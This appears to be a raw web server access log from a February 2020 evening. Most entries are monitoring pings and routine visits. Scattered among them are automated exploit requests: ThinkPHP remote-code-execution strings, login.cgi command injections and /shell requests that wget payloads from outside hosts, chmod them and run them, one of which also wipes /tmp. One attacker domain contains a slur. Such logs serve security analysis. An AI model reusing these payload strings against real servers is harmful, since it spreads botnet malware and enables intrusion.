212.91.246.72 - - [15/Feb/2020:19:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.70.97.108 - - [15/Feb/2020:19:51:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:19:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.80.13.233 - - [15/Feb/2020:19:57:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:19:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [15/Feb/2020:19:59:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [15/Feb/2020:19:59:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [15/Feb/2020:19:59:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
103.110.21.214 - - [15/Feb/2020:19:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.178.8.198 - - [15/Feb/2020:19:59:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:19:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [15/Feb/2020:20:00:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:20:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.199.197.54 - - [15/Feb/2020:20:00:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:20:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.146.101.83 - - [15/Feb/2020:20:04:47 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
195.74.254.200 - - [15/Feb/2020:20:05:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:20:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.143.28.156 - - [15/Feb/2020:20:11:35 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [15/Feb/2020:20:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.93.190.87 - - [15/Feb/2020:20:13:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:20:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.187.177.29 - - [15/Feb/2020:20:15:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:20:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.201.63.217 - - [15/Feb/2020:20:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:20:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.88.27.34 - - [15/Feb/2020:20:22:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:20:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.189.245.163 - - [15/Feb/2020:20:24:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:20:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.72.202.240 - - [15/Feb/2020:20:25:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [15/Feb/2020:20:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.51.186.171 - - [15/Feb/2020:20:27:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [15/Feb/2020:20:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.64.100 - - [15/Feb/2020:20:31:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:20:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.100.26.247 - - [15/Feb/2020:20:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [15/Feb/2020:20:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.32.39.5 - - [15/Feb/2020:20:43:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
47.107.183.131 - - [15/Feb/2020:20:43:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [15/Feb/2020:20:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.139.141.66 - - [15/Feb/2020:20:54:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:20:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.37.95.235 - - [15/Feb/2020:20:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [15/Feb/2020:20:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:20:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.134.199.110 - - [15/Feb/2020:20:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
220.134.199.110 - - [15/Feb/2020:20:59:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:20:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.131.0.18 - - [15/Feb/2020:21:02:18 +0100] "GET /wp/wp-login.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
167.99.234.59 - - [15/Feb/2020:21:02:35 +0100] "GET /wp/wp-login.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [15/Feb/2020:21:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.150.154.166 - - [15/Feb/2020:21:02:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:21:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.75.131.1 - - [15/Feb/2020:21:05:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
151.75.131.1 - - [15/Feb/2020:21:05:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.251.7.103 - - [15/Feb/2020:21:06:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.92.73.123 - - [15/Feb/2020:21:06:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:21:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.193.219.42 - - [15/Feb/2020:21:10:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:21:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.244.196.42 - - [15/Feb/2020:21:12:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
92.254.184.183 - - [15/Feb/2020:21:12:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:21:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.97.100.10 - - [15/Feb/2020:21:15:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:21:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.156.219.164 - - [15/Feb/2020:21:17:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
114.47.113.69 - - [15/Feb/2020:21:18:27 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [15/Feb/2020:21:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.153.245 - - [15/Feb/2020:21:19:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:21:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.230.121.74 - - [15/Feb/2020:21:24:28 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [15/Feb/2020:21:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
